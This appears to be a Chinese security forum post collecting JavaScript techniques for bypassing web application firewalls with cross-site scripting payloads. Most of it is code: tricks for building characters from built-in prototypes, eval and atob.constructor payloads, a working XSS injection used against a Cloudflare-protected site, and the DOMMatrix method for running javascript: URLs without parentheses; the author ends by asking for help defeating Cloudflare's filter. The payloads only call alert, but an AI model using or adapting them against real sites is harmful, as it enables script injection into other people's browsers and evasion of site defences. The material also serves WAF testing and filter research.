前言

结合在twitter和reddit上看到大佬们的各种生成字符的方式来谈谈waf的相关绕过

生成字符

1. 生成/code/字符串

var bs= 'ao0PTA7YWxlcnQoMTMzNykvLwa';
empty=RegExp.prototype.flags;
xx={};
xx.source=bs;
xx.flags=empty;
xx.toString=RegExp.prototype.toString;

2.生成:(?)

yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty             //生成(
que = yy+empty            //生成?
colon=yy+empty            //生成:
right=yy+empty            //生成)

3.生成/

x=console;
x.toString = RegExp.prototype.toString;
x.valueOf = String.prototype.charAt;
x + "" // /

4.生成[

x=console
x.valueOf=String.prototype.charAt
x + "" // [

5.字符串大小写转换

x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + "" // A

Bypass Waf

常见的一些方式这里就不说了,直接到这里淘便是,这里仅说一下最近看到的。

1.使用展开符和正则绕过单引号

首先将对象展开,然后将对象转为数组,最后用shift方法从数组中获取字符

x={...eval+0,toString:Array.prototype.shift,length:15},
x+x+x+x+x+x+x+x+x+x+x+x+x,
x=/alert/.source+x+1337+x;
location=/javascript:/.source+x;

2.使用instanceof

window[Symbol.hasInstance]=eval
atob`YWxlcnQoMSk` instanceof window

3.使用constructor

atob.constructor(atob`YWxlcnQoMSk`)``
或者
atob.constructor(atob(/YWxlcnQoMSk/.source))()

4.使用新特性

void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],)

关于绕cloudflare的一点思考

最近做项目的过程中,发现一受到cloudflare保护的站存在XSS,简单构造了一个payload顺利的执行弹窗:

"><body/onload="throw%20onerror=alert,1,2,3,11;"><a+href="

但受到clodflare的影响,无法使用括号、注释符、模板字符、大括号及特定关键字等,不能实现任意代码执行,网上找了找文章,发现去年5月@garethheyes在portswigger上发了一篇名为XSS without parentheses and semi-colons的文章,其主要实现代码如下:

x=new DOMMatrix;
matrix=String.fromCharCode;
i=new DOMMatrix;
i.a=106;//j
i.b=97;//a
i.c=118;//v
i.d=97;//a
i.e=115;//s
i.f=99;//c
j=new DOMMatrix;
j.a=114;//r
j.b=105;//i
j.c=112;//p
j.d=116;//t
j.e=58;//:
j.f=32;//space
x.a=97;//a
x.b=108;//l
x.c=101;//e
x.d=114;//r
x.e=116;//t
x.f=40;//(
y=new DOMMatrix;
y.a=49;//1
y.b=51;//3
y.c=51;//3
y.d=55;//7
y.e=41;//)
y.f=59;//;
location='javascript:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1';

执行以上代码可直接直接alert(1337),具体实现请移步这里

以上代码虽然能成功执行,但面对cloudflare还是无法顺利bypass

其主要原因是因为使用了location关键字,在cloudflare中一旦location被赋值将触发拦截,也就是说a=location;不拦截,而location=a;会拦截。那么我们很快便能想到如下的方式:

a=location;
a.href="javascript:alert(1)";
或者
a.search="?id=javascript:alert(1);";
再或者
a.pathname="/index/index.php?id=javascript:alert(1);";

但很不幸,这样的方式同样会被拦截,为此我尝试了很多种方式均无法bypass,希望有大佬指点指点。

点击收藏 | 1 关注 | 1
登录 后跟帖